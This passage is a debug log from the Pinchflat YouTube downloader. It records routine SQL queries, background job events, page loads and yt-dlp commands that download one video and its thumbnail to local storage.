"sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 95] 20:51:57.713 [debug] QUERY OK source="sources" db=0.2ms idle=183.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:57.713 [debug] Replied in 3ms 20:51:58.582 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:58.727 [info] GET / 20:51:58.728 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:51:58.728 [debug] QUERY OK source="settings" db=0.2ms idle=1017.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:58.729 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1016.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:51:58.729 [debug] QUERY OK source="sources" db=0.2ms idle=1016.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:51:58.730 [debug] QUERY OK source="media_items" db=0.2ms idle=256.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:58.730 [debug] QUERY OK source="media_items" db=0.1ms idle=147.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:58.731 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:58.731 [debug] QUERY OK source="settings" db=0.3ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:58.732 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:51:58.733 [debug] QUERY OK source="tasks" db=0.3ms idle=3.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:51:58.734 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [4, 5] 20:51:58.736 [debug] QUERY OK source="media_items" db=0.1ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:58.736 [debug] QUERY OK source="media_items" db=0.3ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:58.737 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:58.739 [debug] QUERY OK source="media_items" db=0.1ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:58.739 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:58.739 [debug] QUERY OK source="sources" db=0.0ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:58.740 [info] Sent 200 in 12ms 20:51:58.879 [info] CONNECTED TO Phoenix.LiveView.Socket in 44µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DCUYDRQgFjooVFcxDw8KK3APbVB-JQMggBJnzEoVxggFWCehBLZaIruM", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:51:58.892 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded"} 20:51:58.892 [debug] QUERY OK source="media_items" db=0.3ms idle=155.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:51:58.893 [debug] QUERY OK source="media_items" db=0.7ms idle=155.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:58.894 [debug] QUERY OK source="sources" db=0.3ms idle=155.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:58.895 [debug] Replied in 2ms 20:51:58.898 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending"} 20:51:58.899 [debug] QUERY OK source="media_items" db=0.7ms idle=158.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:58.901 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=159.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:51:58.902 [debug] QUERY OK source="sources" db=0.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:58.902 [debug] Replied in 4ms 20:51:58.906 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:51:58.907 [debug] QUERY OK source="tasks" db=0.5ms idle=12.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:51:58.908 [debug] QUERY OK source="media_items" db=0.3ms idle=13.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [4, 5] 20:51:58.908 [debug] Replied in 2ms 20:51:58.910 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:51:58.910 [debug] Replied in 156µs 20:52:00.563 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:28.584 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:58.585 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.564 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:06.263 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLVdWyNljP8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8b/f7/8bf7b0d09484d6d8304e5dafcbb00f93cdfc782474bd8d88fdc5de234c2e81bf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:53:06.279 [debug] Running yt-dlp command for action: download_thumbnail 20:53:06.280 [debug] QUERY OK source="settings" db=0.1ms idle=694.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:06.280 [debug] QUERY OK source="settings" db=0.0ms idle=222.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:06.280 [debug] QUERY OK source="settings" db=0.1ms idle=222.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:06.280 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLVdWyNljP8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/4/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/58/3e/583eb7bc147620617f8c7b217660b73693456c8a0b125d639d180f838ef19547.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:53:09.247 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CLVdWyNljP8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/4/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/58/3e/583eb7bc147620617f8c7b217660b73693456c8a0b125d639d180f838ef19547.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:53:09.248 [debug] QUERY OK db=0.0ms idle=1190.5ms begin [] 20:53:09.248 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:53:06Z], "/downloads/Last Meals/2025-11-11 Brennan Lee Mulligan Eats His Last Meal/Brennan Lee Mulligan Eats His Last Meal [CLVdWyNljP8].mp4", ~U[2026-03-28 00:53:09Z], 4] 20:53:09.249 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/4/metadata.json.gz", "/config/metadata/media_items/4/thumbnail.jpg", 4, ~U[2026-03-28 00:53:09Z], ~U[2026-03-28 00:53:09Z]] 20:53:09.249 [debug] QUERY OK db=0.0ms commit [] 20:53:09.250 [debug] QUERY OK source="media_items" db=0.8ms idle=1192.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [715259666, ~U[2026-03-28 00:53:09Z], 4] 20:53:09.250 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:53:09.250 [info] {"args":{"id":4},"id":7,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":211336890,"event":"job:stop","queue_time":165913392,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:53:09.251 [debug] QUERY OK source="tasks" db=0.2ms idle=1193.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:53:09.251 [debug] QUERY OK source="media_items" db=0.1ms idle=662.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 20:53:09.256 [info] {"args":{"id":6},"id":9,"meta":{},"system_time":1774659189256731552,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:53:09.256 [debug] QUERY OK source="media_items" db=0.0ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 20:53:09.256 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:53:09.257 [debug] QUERY OK source="tasks" db=0.1ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:53:09.257 [debug] QUERY OK source="sources" db=0.0ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:53:09.257 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:53:09.257 [debug] QUERY OK source="media_items" db=0.2ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [5, 6] 20:53:09.257 [debug] QUERY 